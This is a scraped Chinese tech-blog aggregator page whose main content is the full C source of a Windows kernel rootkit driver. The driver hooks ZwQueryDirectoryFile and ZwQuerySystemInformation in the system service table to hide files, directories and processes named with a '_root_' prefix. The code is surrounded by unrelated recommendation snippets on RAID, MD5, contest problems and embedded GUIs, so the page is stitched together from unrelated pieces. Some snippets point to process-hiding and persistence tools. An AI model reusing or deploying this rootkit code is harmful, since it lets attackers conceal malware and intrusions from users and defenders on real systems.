BASIC 5

群晖RAID怎么选?SHR、Basic、RAID5一文讲透 RAID(独立磁盘冗余阵列)是NAS存储的核心技术,它通过将多块硬盘组合成逻辑卷,实现容量扩展、性能提升或数据冗余。不同RAID级别在原理、容量利用率和安全性上各有取舍:RAID0追求速度却无冗余,RAID1提供镜像保护但浪费空间,RAID5兼顾容量与容错却面临重建风险。群晖的SHR(Synology Hybrid RAID)则通过分段冗余打破传统RAID的整列限制,允许混合不同容量硬盘,成为家用NAS的优选方案。面对媒体库、重要文件等不同数据,Basic单盘模式与SHR可灵活共存。理解这些存储模式的底层原 阅读详情

// BASIC ROOTKIT that hides files, directories, and processes

#include "ntddk.h"
#include "stdarg.h"
#include "stdio.h"
#include "ntiologc.h"

#define DWORD unsigned long
#define WORD unsigned short
#define BOOL unsigned long

// Length of process name (rounded up to next DWORD)
#define PROCNAMELEN     20
// Maximum length of NT process name
#define NT_PROCNAMELEN  16

ULONG gProcessNameOffset;

typedef struct _FILETIME { // ft
    DWORD dwLowDateTime;
    DWORD dwHighDateTime;
} FILETIME;

#pragma pack(1)
typedef struct ServiceDescriptorEntry {
 unsigned int *ServiceTableBase;
 unsigned int *ServiceCounterTableBase; //Used only in checked build
 unsigned int NumberOfServices;
 unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
#pragma pack()

__declspec(dllimport)  ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
#define SYSTEMSERVICE(_function)  KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]

struct _SYSTEM_THREADS
{
 LARGE_INTEGER  KernelTime;
 LARGE_INTEGER  UserTime;
 LARGE_INTEGER  CreateTime;
 ULONG    WaitTime;
 PVOID    StartAddress;
 CLIENT_ID   ClientIs;
 KPRIORITY   Priority;
 KPRIORITY   BasePriority;
 ULONG    ContextSwitchCount;
 ULONG    ThreadState;
 KWAIT_REASON  WaitReason;
};

struct _SYSTEM_PROCESSES
{
 ULONG    NextEntryDelta;
 ULONG    ThreadCount;
 ULONG    Reserved[6];
 LARGE_INTEGER  CreateTime;
 LARGE_INTEGER  UserTime;
 LARGE_INTEGER  KernelTime;
 UNICODE_STRING  ProcessName;
 KPRIORITY   BasePriority;
 ULONG    ProcessId;
 ULONG    InheritedFromProcessId;
 ULONG    HandleCount;
 ULONG    Reserved2[2];
 VM_COUNTERS   VmCounters;
 IO_COUNTERS   IoCounters; //windows 2000 only
 struct _SYSTEM_THREADS  Threads[1];
};

typedef enum _WXPFILE_INFORMATION_CLASS {
// end_wdm
  /*  FileDirectoryInformation         = 1,
    FileFullDirectoryInformation,   // 2
    FileBothDirectoryInformation,   // 3
    FileBasicInformation,           // 4  wdm
    FileStandardInformation,        // 5  wdm
    FileInternalInformation,        // 6
    FileEaInformation,              // 7
    FileAccessInformation,          // 8
    FileNameInformation,            // 9
    FileRenameInformation,          // 10
    FileLinkInformation,            // 11
    FileNamesInformation,           // 12
    FileDispositionInformation,     // 13
    FilePositionInformation,        // 14 wdm
    FileFullEaInformation,          // 15
    FileModeInformation,            // 16
    FileAlignmentInformation,       // 17
    FileAllInformation,             // 18
    FileAllocationInformation,      // 19
    FileEndOfFileInformation,       // 20 wdm
    FileAlternateNameInformation,   // 21
    FileStreamInformation,          // 22
    FilePipeInformation,            // 23
    FilePipeLocalInformation,       // 24
    FilePipeRemoteInformation,      // 25
    FileMailslotQueryInformation,   // 26
    FileMailslotSetInformation,     // 27
    FileCompressionInformation,     // 28
    FileObjectIdInformation,        // 29
    FileCompletionInformation,      // 30
    FileMoveClusterInformation,     // 31
    FileQuotaInformation,           // 32
    FileReparsePointInformation,    // 33
    FileNetworkOpenInformation,     // 34
    FileAttributeTagInformation,    // 35
    FileTrackingInformation,        // 36
 */
    FileIdBothDirectoryInformation =  37,
    FileIdFullDirectoryInformation, // 38
    FileValidDataLengthInformation, // 39
    FileShortNameInformation,       // 40
  //  FileMaximumInformation
// begin_wdm
} WXPFILE_INFORMATION_CLASS, *PWXPFILE_INFORMATION_CLASS;

typedef struct _FILE_DIRECTORY_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    WCHAR FileName[1];
} FILE_DIRECTORY_INFORMATION, *PFILE_DIRECTORY_INFORMATION;

typedef struct _FILE_FULL_DIR_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    ULONG EaSize;
    WCHAR FileName[1];
} FILE_FULL_DIR_INFORMATION, *PFILE_FULL_DIR_INFORMATION;

typedef struct _FILE_ID_FULL_DIR_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    ULONG EaSize;
    LARGE_INTEGER FileId;
    WCHAR FileName[1];
} FILE_ID_FULL_DIR_INFORMATION, *PFILE_ID_FULL_DIR_INFORMATION;

typedef struct _FILE_BOTH_DIR_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    ULONG EaSize;
    CCHAR ShortNameLength;
    WCHAR ShortName[12];
    WCHAR FileName[1];
} FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION;

typedef struct _FILE_ID_BOTH_DIR_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    ULONG EaSize;
    CCHAR ShortNameLength;
    WCHAR ShortName[12];
    LARGE_INTEGER FileId;
    WCHAR FileName[1];
} FILE_ID_BOTH_DIR_INFORMATION, *PFILE_ID_BOTH_DIR_INFORMATION;

typedef struct _FILE_NAMES_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    ULONG FileNameLength;
    WCHAR FileName[1];
} FILE_NAMES_INFORMATION, *PFILE_NAMES_INFORMATION;

NTSYSAPI
NTSTATUS
NTAPI
ZwQueryDirectoryFile(
 IN HANDLE hFile,
 IN HANDLE hEvent OPTIONAL,
 IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
 IN PVOID IoApcContext OPTIONAL,
 OUT PIO_STATUS_BLOCK pIoStatusBlock,
 OUT PVOID FileInformationBuffer,
 IN ULONG FileInformationBufferLength,
 IN FILE_INFORMATION_CLASS FileInfoClass,
 IN BOOLEAN bReturnOnlyOneEntry,
 IN PUNICODE_STRING PathMask OPTIONAL,
 IN BOOLEAN bRestartQuery
);

NTSYSAPI
NTSTATUS
NTAPI ZwQuerySystemInformation(
            IN ULONG SystemInformationClass,
   IN PVOID SystemInformation,
   IN ULONG SystemInformationLength,
   OUT PULONG ReturnLength);

typedef NTSTATUS (*ZWQUERYDIRECTORYFILE)(
    HANDLE hFile,
 HANDLE hEvent,
 PIO_APC_ROUTINE IoApcRoutine,
 PVOID IoApcContext,
 PIO_STATUS_BLOCK pIoStatusBlock,
 PVOID FileInformationBuffer,
 ULONG FileInformationBufferLength,
 FILE_INFORMATION_CLASS FileInfoClass,
 BOOLEAN bReturnOnlyOneEntry,
 PUNICODE_STRING PathMask,
 BOOLEAN bRestartQuery
);

typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)(
            ULONG SystemInformationCLass,
   PVOID SystemInformation,
   ULONG SystemInformationLength,
   PULONG ReturnLength
);

ZWQUERYSYSTEMINFORMATION  OldZwQuerySystemInformation;
ZWQUERYDIRECTORYFILE   OldZwQueryDirectoryFile;


void GetProcessNameOffset()
{
    PEPROCESS curproc;
    int i;
 curproc = PsGetCurrentProcess();
    for( i = 0; i < 3*PAGE_SIZE; i++ )
 {
        if( !strncmp( "System", (PCHAR) curproc + i, strlen("System") ))
  {
            gProcessNameOffset = i;
  }
    }
}

BOOL GetProcessName( PCHAR theName )
{
    PEPROCESS       curproc;
    char            *nameptr;
    ULONG           i;
    KIRQL           oldirql;

    if( gProcessNameOffset )
 {
        curproc = PsGetCurrentProcess();
        nameptr   = (PCHAR) curproc + gProcessNameOffset;
        strncpy( theName, nameptr, NT_PROCNAMELEN );
        theName[NT_PROCNAMELEN] = 0; /* NULL at end */
  return TRUE;
    }
 return FALSE;
}

DWORD getDirEntryLenToNext(
  IN PVOID FileInformationBuffer,
        IN FILE_INFORMATION_CLASS FileInfoClass
)
{
 DWORD result = 0;
 switch(FileInfoClass){
  case FileDirectoryInformation:
   result = ((PFILE_DIRECTORY_INFORMATION)FileInformationBuffer)->NextEntryOffset;
   break;
  case FileFullDirectoryInformation:
   result = ((PFILE_FULL_DIR_INFORMATION)FileInformationBuffer)->NextEntryOffset;
   break;
  case FileIdFullDirectoryInformation:
   result = ((PFILE_ID_FULL_DIR_INFORMATION)FileInformationBuffer)->NextEntryOffset;
   break;
  case FileBothDirectoryInformation:
   result = ((PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer)->NextEntryOffset;
   break;
  case FileIdBothDirectoryInformation:
   result = ((PFILE_ID_BOTH_DIR_INFORMATION)FileInformationBuffer)->NextEntryOffset;
   break;
  case FileNamesInformation:
   result = ((PFILE_NAMES_INFORMATION)FileInformationBuffer)->NextEntryOffset;
   break;
 }
 return result;
}

void setDirEntryLenToNext(
  IN PVOID FileInformationBuffer,
        IN FILE_INFORMATION_CLASS FileInfoClass,
  IN DWORD value
)
{
 switch(FileInfoClass){
  case FileDirectoryInformation:
   ((PFILE_DIRECTORY_INFORMATION)FileInformationBuffer)->NextEntryOffset = value;
   break;
  case FileFullDirectoryInformation:
   ((PFILE_FULL_DIR_INFORMATION)FileInformationBuffer)->NextEntryOffset = value;
   break;
  case FileIdFullDirectoryInformation:
   ((PFILE_ID_FULL_DIR_INFORMATION)FileInformationBuffer)->NextEntryOffset = value;
   break;
  case FileBothDirectoryInformation:
   ((PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer)->NextEntryOffset = value;
   break;
  case FileIdBothDirectoryInformation:
   ((PFILE_ID_BOTH_DIR_INFORMATION)FileInformationBuffer)->NextEntryOffset = value;
   break;
  case FileNamesInformation:
   ((PFILE_NAMES_INFORMATION)FileInformationBuffer)->NextEntryOffset = value;
   break;
 }
}
 
PVOID getDirEntryFileName(
  IN PVOID FileInformationBuffer,
        IN FILE_INFORMATION_CLASS FileInfoClass
)
{
 PVOID result = 0;
 switch(FileInfoClass){
  case FileDirectoryInformation:
   result = (PVOID)&((PFILE_DIRECTORY_INFORMATION)FileInformationBuffer)->FileName[0];
   break;
  case FileFullDirectoryInformation:
   result =(PVOID)&((PFILE_FULL_DIR_INFORMATION)FileInformationBuffer)->FileName[0];
   break;
  case FileIdFullDirectoryInformation:
   result =(PVOID)&((PFILE_ID_FULL_DIR_INFORMATION)FileInformationBuffer)->FileName[0];
   break;
  case FileBothDirectoryInformation:
   result =(PVOID)&((PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer)->FileName[0];
   break;
  case FileIdBothDirectoryInformation:
   result =(PVOID)&((PFILE_ID_BOTH_DIR_INFORMATION)FileInformationBuffer)->FileName[0];
   break;
  case FileNamesInformation:
   result =(PVOID)&((PFILE_NAMES_INFORMATION)FileInformationBuffer)->FileName[0];
   break;
 }
 return result;
}

ULONG getDirEntryFileLength(
  IN PVOID FileInformationBuffer,
        IN FILE_INFORMATION_CLASS FileInfoClass
)
{
 ULONG result = 0;
 switch(FileInfoClass){
  case FileDirectoryInformation:
   result = (ULONG)((PFILE_DIRECTORY_INFORMATION)FileInformationBuffer)->FileNameLength;
   break;
  case FileFullDirectoryInformation:
   result =(ULONG)((PFILE_FULL_DIR_INFORMATION)FileInformationBuffer)->FileNameLength;
   break;
  case FileIdFullDirectoryInformation:
   result =(ULONG)((PFILE_ID_FULL_DIR_INFORMATION)FileInformationBuffer)->FileNameLength;
   break;
  case FileBothDirectoryInformation:
   result =(ULONG)((PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer)->FileNameLength;
   break;
  case FileIdBothDirectoryInformation:
   result =(ULONG)((PFILE_ID_BOTH_DIR_INFORMATION)FileInformationBuffer)->FileNameLength;
   break;
  case FileNamesInformation:
   result =(ULONG)((PFILE_NAMES_INFORMATION)FileInformationBuffer)->FileNameLength;
   break;
 }
 return result;
}

NTSTATUS NewZwQueryDirectoryFile(
 IN HANDLE hFile,
 IN HANDLE hEvent OPTIONAL,
 IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
 IN PVOID IoApcContext OPTIONAL,
 OUT PIO_STATUS_BLOCK pIoStatusBlock,
 OUT PVOID FileInformationBuffer,
 IN ULONG FileInformationBufferLength,
 IN FILE_INFORMATION_CLASS FileInfoClass,
 IN BOOLEAN bReturnOnlyOneEntry,
 IN PUNICODE_STRING PathMask OPTIONAL,
 IN BOOLEAN bRestartQuery
)
{
 NTSTATUS rc;
 CHAR aProcessName[PROCNAMELEN];
  
 GetProcessName( aProcessName );
 DbgPrint("rootkit: NewZwQueryDirectoryFile() from %s/n", aProcessName);

 rc=((ZWQUERYDIRECTORYFILE)(OldZwQueryDirectoryFile)) (
   hFile,       /* this is the directory handle */
   hEvent,
   IoApcRoutine,
   IoApcContext,
   pIoStatusBlock,
   FileInformationBuffer,
   FileInformationBufferLength,
   FileInfoClass,
   bReturnOnlyOneEntry,
   PathMask,
   bRestartQuery);

 if( NT_SUCCESS( rc ) &&
  (FileInfoClass == FileDirectoryInformation ||
   FileInfoClass == FileFullDirectoryInformation ||
   FileInfoClass == FileIdFullDirectoryInformation ||
   FileInfoClass == FileBothDirectoryInformation ||
   FileInfoClass == FileIdBothDirectoryInformation ||
   FileInfoClass == FileNamesInformation )
  )
 {
  if(0 == memcmp(aProcessName, "_root_", 6))
  {
   DbgPrint("rootkit: detected file/directory query from _root_ process/n");
  }
  else
  {
   PVOID p = FileInformationBuffer;
   PVOID pLast = NULL;
   BOOL bLastOne;
   do
   {
    bLastOne = !getDirEntryLenToNext(p,FileInfoClass);
    
    // compare directory-name prefix with '_root_' to decide if to hide or not.

    if (getDirEntryFileLength(p,FileInfoClass) >= 12) {
     if( RtlCompareMemory( getDirEntryFileName(p,FileInfoClass), (PVOID)"_/0r/0o/0o/0t/0_/0", 12 ) == 12 )
     {
      if( bLastOne )
      {
       if( p == FileInformationBuffer ) rc = 0x80000006;
       else setDirEntryLenToNext(pLast,FileInfoClass, 0);
       break;
      }
      else
      {
       int iPos = ((ULONG)p) - (ULONG)FileInformationBuffer;
       int iLeft = (DWORD)FileInformationBufferLength - iPos - getDirEntryLenToNext(p,FileInfoClass);
       RtlCopyMemory( p, (PVOID)( (char *)p + getDirEntryLenToNext(p,FileInfoClass) ), (DWORD)iLeft );
       continue;
      }
     }
    }
    pLast = p;
    p = ((char *)p + getDirEntryLenToNext(p,FileInfoClass) );
   } while( !bLastOne );
  }
 }
 return(rc);
}

NTSTATUS NewZwQuerySystemInformation(
            IN ULONG SystemInformationClass,
   IN PVOID SystemInformation,
   IN ULONG SystemInformationLength,
   OUT PULONG ReturnLength
)
{
 NTSTATUS rc;
 CHAR aProcessName[PROCNAMELEN];
  
 GetProcessName( aProcessName );
 DbgPrint("rootkit: NewZwQuerySystemInformation() from %s/n", aProcessName);

 rc = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (
   SystemInformationClass,
   SystemInformation,
   SystemInformationLength,
   ReturnLength );

 if( NT_SUCCESS( rc ) )
 {
  // double check the process name, if it starts w/ '_root_' DO NOT
  // apply any stealth
  if(0 == memcmp(aProcessName, "_root_", 6))
  {
   DbgPrint("rootkit: detected system query from _root_ process/n");
  }
  else if( 5 == SystemInformationClass )
  {
   // this is a process list, look for process names that start with
   // '_root_'
   struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
   struct _SYSTEM_PROCESSES *prev = NULL;
   while(curr)
   { 
    //struct _SYSTEM_PROCESSES *next = ((char *)curr += curr->NextEntryDelta);
    
    ANSI_STRING process_name;
    RtlUnicodeStringToAnsiString( &process_name, &(curr->ProcessName), TRUE);
    if( (0 < process_name.Length) && (255 > process_name.Length) )
    {
     if(0 == memcmp( process_name.Buffer, "_root_", 6))
     {
      //////////////////////////////////////////////
      // we have a winner!
      //////////////////////////////////////////////
      char _output[255];
      char _pname[255];
      memset(_pname, 0, 255);
      memcpy(_pname, process_name.Buffer, process_name.Length);

      sprintf( _output,
         "rootkit: hiding process, pid: %d/tname: %s/r/n",
         curr->ProcessId,
         _pname);
      DbgPrint(_output);

      if(prev)
      {
       if(curr->NextEntryDelta)
       {
        // make prev skip this entry
        prev->NextEntryDelta += curr->NextEntryDelta;
       }
       else
       {
        // we are last, so make prev the end
        prev->NextEntryDelta = 0;
       }
      }
      else
      {
       if(curr->NextEntryDelta)
       {
        // we are first in the list, so move it forward
        (char *)SystemInformation += curr->NextEntryDelta;
       }
       else
       {
        // we are the only process!
        SystemInformation = NULL;
       }
      }
     }
    }
    RtlFreeAnsiString(&process_name);
    prev = curr;
    if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);
    else curr = NULL;
   }
  }
 }
 return(rc);
}

NTSTATUS
OnStubDispatch(
    IN PDEVICE_OBJECT DeviceObject,
    IN PIRP           Irp
    )
{
    Irp->IoStatus.Status      = STATUS_SUCCESS;
    IoCompleteRequest (Irp,
                       IO_NO_INCREMENT
                       );
    return Irp->IoStatus.Status;
}

VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
{
 DbgPrint("ROOTKIT: OnUnload called/n");

 // unhook system calls
 _asm cli
 (ZWQUERYDIRECTORYFILE)(SYSTEMSERVICE(ZwQueryDirectoryFile)) =OldZwQueryDirectoryFile;
 (ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation)) = OldZwQuerySystemInformation;
 _asm sti
}

NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )
{
 int i;

 DbgPrint("My Driver Loaded!");

 GetProcessNameOffset();

 // Register a dispatch function
 for (i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++)
 {
         theDriverObject->MajorFunction[i] = OnStubDispatch;
    }

 theDriverObject->DriverUnload  = OnUnload;

 // save old system call locations
 OldZwQueryDirectoryFile=(ZWQUERYDIRECTORYFILE)(SYSTEMSERVICE(ZwQueryDirectoryFile));
 OldZwQuerySystemInformation =(ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation));

 // hook system calls
 _asm cli
 (ZWQUERYDIRECTORYFILE)  (SYSTEMSERVICE(ZwQueryDirectoryFile))=  NewZwQueryDirectoryFile;
 (ZWQUERYSYSTEMINFORMATION) (SYSTEMSERVICE(ZwQuerySystemInformation))= NewZwQuerySystemInformation;
 _asm sti
           
 return STATUS_SUCCESS;
}

 

Visual Basic中的MD5加密实现 本文还有配套的精品资源,点击获取 简介:本文介绍如何在Visual Basic编程环境中实现MD5加密算法,以保护数据安全。MD5是广泛用于数据校验和密码存储的哈希函数,它将数据转换为128位不可逆摘要。文章详细描述了MD5算法的主要步骤,并提供了一个使用.NET Framework中的MD5类的VB代码示例来计算字符串的哈希值。尽管MD5面临安全风险,但其在数据校验和基本... 阅读详情

相关推荐

ZwQueryDirectoryFile

ZwQueryDirectoryFile 参数对应的结构体。ZwQueryDirectoryFile 参数对应的结构体。ZwQueryDirectoryFile 参数对应的结构体。ZwQueryDirectoryFile 参数对应的结构体。

BASIC ROOTKIT that hides files, directories, and processes

// BASIC ROOTKIT that hides files, directories, and processes// ----------------------------------------------------------// v0.1 - Initial, Greg Hoglund (hoglund@rootkit.com)// v0.2 - DirEntry struct

1167

DELPHI隐藏进程源代码

隐藏自己的进程,在资源管理器隐藏,可以支持WIN10

windows权限维持—— 驱动级文件隐藏

参考:https://www.cnblogs.com/xiaozi/p/7611775.html 驱动隐藏最典型的现象就是系统盘中存在以下文件: c:\WINDOWS\xlkfs.dat c:\WINDOWS\xlkfs.dll c:\WINDOWS\xlkfs.ini c:\WINDOWS\system32\drivers\xlkfs.sys 驱动隐藏我们可以用过一些软件来实现,软件名字叫:Easy File Locker 下载链接: http://www.xoslab.com/efl.htm

mingyqf的博客 1787

告别jom Error 2:深入理解QtCreator、CMake与MSVC工具链的协作机制

本文深入解析QtCreator构建过程中常见的jom Error 2问题,揭示CMake与MSVC工具链的协作机制。从CMake生成器的工作原理到MSVC工具链的组件协作,帮助开发者系统化诊断构建错误,提升开发效率。

weixin_30654419的博客 429

别再花屏了!手把手教你用STM32CubeIDE搞定LVGL 8.3移植(附完整源码)

本文详细介绍了如何在STM32CubeIDE环境下成功移植LVGL 8.3,解决常见的花屏问题。从环境配置、显示驱动优化到编译警告处理,提供完整的实战方案和源码示例,帮助开发者快速实现流畅的嵌入式GUI界面。特别针对STM32平台的DMA2D加速和内存管理进行了深度优化。

weixin_33739646的博客 242

文件夹加密(链接方式)

.{00020c01-0000-0000-c000-000000000046} .{00020811-0000-0000-c000-000000000046} .{20D04FE0-3AEA-1069-A2D8-08002B30309D} .{450D8FBA-AD25-11D0-98A8-0800361B1103} .{992CFFA0-F557-101A-88EC-00DD010CCC48} 

huiguixian的专栏 1270

目前最新NIST随机数测试软件下载、安装、及使用教程

最近由于科研需要,在搞一些随机数的测试的事情,众所周知 随机数测试我们可以使用NIST的软件进行多大15项的随机测试,我也在网上查找了很多大牛的博客,但是都是年代久远,很多的链接现在都是物是人非,都是不能直接使用了,今天顺便抽点时间更新一下这个NIST软件的下载及使用。我们首先讲一下该软件的下载:1.我们直接取NIST的官网(https://csrc.nist.gov/)下载即可 ;链接如下:下载...

Miracle.Zhao的博客 3万+

【Windows系统】隐藏驱动器

下面以隐藏E盘为例。

sunriver2000的专栏 857

Windows 11 的C盘User(用户)文件夹下的用户文件夹名称的修改

背景介绍:由于系统重装导致Windows 11的系统用户名与C盘User(用户)文件夹下的用户名文件夹(公用文件夹旁边的文件夹)出现名称不一致,事例中系统用户名命名为“寂萧”,User(用户)文件夹下的文件夹名称却是“77555”。【QQ邮箱前五位真的真的看着很别扭】注:改名有风险,三思而后行。User(用户)文件夹下的用户名是中文在某些软件的应用场景下产生不便,导致很多软件莫名其妙报错,甚至无法使用,笔者不建议修改为中文名。//和笔者一样的强迫症除外//

2302_79084172的博客 10万+

【Linux】常见指令的使用

Linux常用指令

qq_74897518的博客 1479

windows10驱动 --- x64线程隐藏(一)

win10 x64 线程隐藏

weixin_41725706的博客 1821

保姆级教程:QGC地面站Vehicle Setup全模块配置详解(从固件升级到安全设置)

本文提供QGC地面站Vehicle Setup全模块配置的保姆级教程,涵盖从固件升级到安全设置的完整流程。详细解析二次开发环境准备、传感器校准、飞行模式配置等关键步骤,帮助用户快速掌握无人机配置技巧,确保飞行安全与性能优化。

weixin_28726671的博客 386

BASIC-5 查找整数

BASIC-5 试题 基础练习 查找整数 问题描述 给出一个包含n个整数的数列,问整数a在数列中的第一次出现是第几个。 输入格式 第一行包含一个整数n。 第二行包含n个非负整数,为给定的数列,数列中的每个数都不大于10000。 第三行包含一个整数a,为待查找的数。 输出格式 如果a在数列中出现了,输出它第一次出现的位置(位置从1开始编号),否则输出-1。 样例输入 6 1 9 4 8 3 9 9 ...

塔迪斯之心 149

YOLOv12改进策略【Head】| ASFF 自适应空间特征融合模块,改进检测头Detect_ASFF

在目标检测中,处理多尺度物体是一个具有挑战性的问题。虽然特征金字塔或多级特征塔是解决多尺度问题的常用方法,但在单阶段检测器中,不同尺度特征之间的不一致性限制了其性能提升。为了解决这个问题,提出了自适应空间特征融合(ASFF)模块。

Limiiiing的博客 1171

ORB-SLAM3算法2之EuRoc开源数据集运行ORB-SLAM3生成轨迹并用evo工具评估轨迹

ORB-SLAM3算法1 已成功编译安装ORB-SLAM3到本地,本篇目的是用EuRoc开源数据来运行ORB-SLAM3,并生成轨迹,最后用evo评估工具来评估ORB-SLAM3生成的轨迹和真值轨迹。

重点记录机器人和自动驾驶相关领域的技术,尤其是计算机视觉,视觉SLAM等,不仅有前言文献或必备算法的学习,也会有实际应用的点滴经验 3762

我的第一门计算语言Basic和quick basic 4.5

我学的第一门计算机语言,是BASIC,这一过去就有20多年了。可以想发布成EXE文件,我找了QuickBasic 4.5。我用vmware装了一个dos 6.22,然后又找了quick basic 4.5跑起来了。...

过客2019 3192

LinePhone3.2.7(android端最新版本) sip客户端

SIP客户端For android:LinePhone3.2.7(最新版本),官网地址:http://www.linphone.org/

蓝桥杯 BASIC-5(查找)

蓝桥杯 BASIC-5 查找整数 问题描述 给出一个包含n个整数的数列,问整数a在数列中的第一次出现是第几个。 输入格式 第一行包含一个整数n。 第二行包含n个非负整数,为给定的数列,数列中的每个数都不大于10000。 第三行包含一个整数a,为待查找的数。 输出格式 如果a在数列中出现了,输出它第一次出现的位置(位置从1开始编号),否则输出-1。 样例输入 6 1 9 4 8 3 9 9 样例输出 2 数据规模与约定 1 <= n <= 1000。 代码: #include<iostrea

输出大于输入的博客 233

文档:亲测可用解决vnc灰屏,黑屏,鼠标大黑叉情况

主要解决vnc-viewer灰屏,黑屏,鼠标大黑叉等现象,详细见文档。

计算机控制技术及应用

《计算机控制技术及应用》通过总结作者的科研成果和吸收国内外的先进理论、方法和技术,以计算机控制系统的网络化、开放化、智能化和集成化发展趋势为主线索,主要介绍计算机控制系统的基本概念和计算机控制系统的典型形式,计算机控制系统的数学描述与基本分析方法,以及数字PID控制器、最少拍控制系统、达林算法、状态变量设计法等设计方法及其各种改进算法。重点突出计算机控制系统输入输出通道接口的设计方法和典型控制系统的设计案例与实现方法等。

蓝桥杯 基础训练 BASIC-5 查找整数

蓝桥杯 基础训练 BASIC-5 问题描述 给出一个包含n个整数的数列,问整数a在数列中的第一次出现是第几个。 输入格式 第一行包含一个整数n。 第二行包含n个非负整数,为给定的数列,数列中的每个数都不大于10000。 第三行包含一个整数a,为待查找的数。 输出格式 如果a在数列中出现了,输出它第一次出现的位置(位置从1开始编号),否则输出-1。 样例输入 6 1 9 4 8 3 9 9 ...

LilyS1的博客 245

NTscan扫描工具

ntscan是一个扫描器,可以扫描没有密码和弱密码的共享,先到配置文件中填写猜测的用户名和密码,扫描过程中右侧出现的是扫描日志。

Hack this site basic 5

练习Hack this site basic 5 界面介绍这次更高级一些了,试了上关的方法,不行了: 我用的是谷歌浏览器,右键&gt;检查,修改邮箱,成功了: 邮箱收到了密码: 谷歌火狐都是不错的浏览器,又学到了一些知识...

daydayupergouzi的博客 463

FX5U PLC与CC-LINK BASIC总线通信指南

FX5U PLC与CC-LINK BASIC总线通信指南 【下载地址】FX5UPLC与CC-LINKBASIC总线通信指南 本资源包详细介绍了如何利用三菱FX5U系列PLC的内置以太网接口实现与CC-LINK BASIC网络的通信,进而高效控制多达16个MR-JE-C系列伺服驱动器。对于初次尝试使用MR-JE-C伺服以及...

gitblog_09778的博客 827

html5 Basic

前言: 本博客介绍 html5 制作页面的基本标签及属性 , 我使用的是HBuilderX作为开发软件 下载地址为:https://www.dcloud.io/hbuilderx.html 下载网盘为:链接:https://pan.baidu.com/s/1CsDTIdUg2-fnQNXijZndig 提取码:1111 一.web基础知识 (1)web 与 internet inte...

qq_46027468的博客 423

蓝桥杯基础练习BASIC-1-5

蓝桥杯基础练习1-5 BASIC-1 闰年判断 问题描述 ​ 给定一个年份,判断这一年是不是闰年。 ​ 当以下情况之一满足时,这一年是闰年: ​ 1.年份是4的倍数而不是100的倍数; ​ 2.年份是400的倍数。 ​ 其他的年份都不是闰年。 输入格式 输入包含一个整数y,表示当前的年份。//数据规模与约定:1990 <= y <= 2050。 输出格式 输出一行,如果给定的年份是闰年,则输出yes,否则输出no。 样例输入 2013 样例输出 no 样例输入 2016 样

随笔记录,有些许菜,莫怪莫怪 249

SIMATIC STEP 7 Basic V10.5的SP2手册下载

SIMATIC STEP 7 Basic V10.5的SP2手册下载 去发现同类优质开源项目:https://gitcode.com/ 欢迎来到我们的资源下载仓库!以下是关于SIMATIC STEP 7 Basic V10.5的SP2.zip文件的详细信息: 文件简介 标题: SIMATIC STEP 7 Basic V10.5的SP2.zip 描述: 本资源为西门子SIMATIC STEP 7...

gitblog_06755的博客 893

群晖的RAID类型:basic、shr、raid1、jbod、raid0、raid5

模式 介绍 basic basic模式就是最基础的模式,每个硬盘互不相干,都是独立的,就像电脑上面的硬盘一样。具有低成本、高读写性能、 100% 的高存储空间利用率等优点,但是它不提供数据冗余保护,一旦数据损坏,将无法恢复。 因此, RAID0 一般适用于对性能要求严格但对数据安全性和可靠性不高的用户。basic模式还支持升级raid1或者raid5,比如你现在一个盘设置的是basic模式,以后多加一个硬盘,可以和旧硬盘组成一个raid1模式,如果再多加一个硬...

